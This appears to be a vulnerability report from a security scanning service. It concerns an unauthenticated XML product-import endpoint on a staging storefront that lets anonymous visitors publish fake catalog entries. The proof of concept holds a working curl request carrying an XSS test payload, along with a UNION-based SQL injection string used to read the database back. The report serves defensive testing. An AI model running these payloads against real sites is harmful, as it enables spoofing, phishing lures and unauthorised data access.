LowVerifiedOpenWebA01:2021-Broken Access Control

Unauthenticated XML product import allows arbitrary catalog content injection (catalog/import)

POST
/catalog/import
StorefrontEvaluation environmentDetected 1x

Attack Path

3 stepsfromstorefront.exampleto/catalog/import

Business Impact

Any anonymous visitor can inject arbitrary product records into the live storefront, enabling brand impersonation, phishing entry points, and polluted search results that erode customer trust in the catalog's integrity. Because there is no rate limiting, attackers can also flood the catalog at scale, creating operational cleanup burden and potential SEO damage from spam content. The attacker-planted records persist with no delete API exposed, prolonging the spoofing window until manual database remediation.

Description

The XML product-import feature on /catalog/import (POST xml_data) performs INSERTs into the products table with no authentication and no rate limiting. Any anonymous visitor can create arbitrary product records (name, description, price, category, stock, image) that are immediately published on the public storefront (catalog featured cards, catalog/search results, catalog/item detail pages) to every visitor. This crosses an authentication boundary (public write to a catalog-management function) and enables content spoofing / catalog pollution / phishing entry points. NOTE: the stored-XSS variant of this dyad was tested and does NOT fire - all rendering sinks HTML-encode the imported values (see observedBehavior); the impact is content injection only.

Proof of Concept

Setup

No account needed - /catalog/import import is fully unauthenticated. Everything below was done from an anonymous session (fresh PHPSESSID issued to any visitor).

Exploit

  1. Import a product with attacker-controlled fields via POST xml_data (XML entities decode into the field values, so arbitrary text - including HTML-looking strings - lands in the DB):
curl -i -X POST 'http://storefront.example/catalog/import' \
--data-urlencode 'xml_data=<products><product><name>DYADXSSR7K9 <img src=x onerror="window.__xss_fired=true"></name><description>Dyadic import tracer DYADXSSR7K9 desc</description><price>12.34</price><category>electronics</category><stock>7</stock><image>dyad.jpg</image></product></products>' \
--data-urlencode 'import=1'
  1. Response contains:
<div class="alert alert-success">
Successfully imported 1 products! </div>
  1. Read it back as a completely different anonymous visitor (fresh browser session, no cookies):
GET /catalog/item?id=138 HTTP/1.1
Host: storefront.example
<h1 class="mb-3">DYADXSSR7K9 &lt;img src=x onerror=&quot;window.__xss_fired=true&quot;&gt;</h1>

The product also renders as the first Featured card on /catalog and in /catalog/search results for any visitor. The record was proven persisted via the order_tracking.php UNION-SQLi read: ?id=' UNION SELECT 1,2,CONCAT('ID:',id),name,price,category,7,8,9 FROM products WHERE name LIKE '%DYADXSSR7K9%'-- -Customer: ID:138.

Verification

  • Status 200 with Successfully imported 1 products! on the import POST.
  • GET /catalog/item?id=138 from a fresh session shows the attacker-supplied name/description/price ($12.34) and Product ID #138.
  • Unauthenticated catalog write is confirmed: no auth header, no CSRF token, no admin role anywhere in the flow.

Cleanup

Tracer products #138 and #139 persist in the products table (the app exposes no delete API). They are inert (all sinks HTML-encode) but pollute the storefront; remove via DB access if desired.

Observed Behavior

POST xml_data with a single <product> returned HTTP 200 'Successfully imported 1 products!' with no session, cookie, CSRF token, or credentials required, and the inserted rows (product IDs 138, 139) were immediately readable by a fresh anonymous session on catalog/item, catalog featured cards, and catalog/search. Headless-Chromium renders confirmed no script execution (window.__xss_fired never set) because all sinks HTML-encode via htmlspecialchars, leaving unauthenticated content injection as the confirmed issue.

Attack Scenarios

  • 1

    An anonymous attacker injects fake products with arbitrary names, descriptions, and prices that are immediately published to every storefront visitor, enabling content spoofing and phishing lures.

  • 2

    An attacker could flood the catalog with thousands of records since the import lacks authentication and rate limiting, polluting search results and degrading storefront integrity.

  • 3

    Crafted product names or descriptions can be used to impersonate the site or host malicious instructions visible to all users, damaging customer trust.

Triage & Management

Validation Status

StatusValidated
Last Validated2 days ago
Confidence
92%
VerdictConfirmed
Verification runs automatically when marked remediated

Exploitability

Exploit Available No

Asset Information

Organization Evaluation environment
Application Storefront
Vulnerability ID unauthenticated-catalog-import

Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.

Find issues in your app